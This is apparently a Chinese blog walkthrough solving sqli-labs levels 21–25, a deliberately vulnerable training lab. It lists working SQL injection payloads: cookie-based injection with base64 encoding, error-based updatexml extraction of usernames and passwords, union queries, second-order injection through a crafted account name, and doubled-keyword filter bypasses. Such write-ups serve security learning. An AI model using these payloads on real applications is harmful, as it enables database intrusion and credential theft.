Sqli-labs-master的21—25通关教程

目录

Less-21('闭合)

查询数据库名

查询数据库中的表

查询表中字段名

查询表中数据

Less-22("闭合)

查询数据库名

查询数据库中的表

查询表中字段名

查询表中数据

Less-23

查询数据库名

查询数据库中的表

查询表中字段名

查询表中数据

Less-24(二次注入)

Less-25

查询数据库名

查询数据库中的表

查询表中字段名

查询表中数据


Less-21('闭合)

登录成功后发现cookie可以显示出来,但是是乱码

登录成功后显示的页面中cookie是一串看不懂的字符, 看了后端代码后发现,是因为这里被编码过了, 那么抓包后修改cookie的值并进行 base64 编码

查询数据库名

sql 复制代码
') union select 1,2,database() #

查询数据库中的表

sql 复制代码
') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

查询表中字段名

sql 复制代码
') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #

查询表中数据

sql 复制代码
') and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1) #

Less-22("闭合)

查询数据库名

sql 复制代码
" union select 1,2,database() #

查询数据库中的表

sql 复制代码
" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

查询表中字段名

sql 复制代码
" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #

查询表中数据

sql 复制代码
" and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1) #

Less-23

直接在 URL 后面构造语句

查询数据库名

sql 复制代码
-1' union select 1,database(),3 and '1' = '1

查询数据库中的表

sql 复制代码
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

查询表中字段名

sql 复制代码
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 or '1'='1

查询表中数据

sql 复制代码
-1' union select 1,(select group_concat(username,0x7e,password) from users),3 or '1'='1

Less-24(二次注入)

注册一个用户名 a 密码 123123 的用户

登录发现登录成功

查询数据库中的表的内容发现写入进去了

注册一个 a'# 的账户

登录上去用错误的密码修改

发现修改成功,用修改后的密码登录,发现登录成功

说明二次注入成功

Less-25

查询数据库名

sql 复制代码
-2' union select 1,2,database() --+

查询数据库中的表

sql 复制代码
-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

查询表中字段名

sql 复制代码
-2' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users' --+

查询表中数据

sql 复制代码
-1'union select 1,group_concat(username,0x3a,passwoorrd),3 from users --+
相关推荐
oioihoii4 分钟前
C++对象生命周期与析构顺序深度解析
java·开发语言·c++
BBB努力学习程序设计15 分钟前
Java枚举(Enum):定义固定值的"类型安全"利器
java
清风66666622 分钟前
基于单片机的智能家居多参数环境监测与联动报警系统设计
数据库·单片机·毕业设计·智能家居·课程设计·期末大作业
It's now35 分钟前
BeanRegistrar 的企业级应用场景及最佳实践
java·开发语言·spring
毕设源码-赖学姐42 分钟前
【开题答辩全过程】以 基于Java的小区物业管理系统APP的设计与实现为例,包含答辩的问题和答案
java·开发语言
煎蛋学姐44 分钟前
SSM社区医院儿童预防接种管理系统84ui9(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·儿童预防接种
锡兰_CC1 小时前
无缝触达,卓越体验:开启openEuler世界的任意门
服务器·网络·数据库·c++·图像处理·qt·nginx
wuxuanok1 小时前
ThinkPHP ——安装部署与配置
sql·mysql·nginx·php
会编程的林俊杰1 小时前
Mapper解析
java·mybatis
狼爷1 小时前
yyds,JDK 25 终结 import,可以像 Python 一样简单粗暴了
java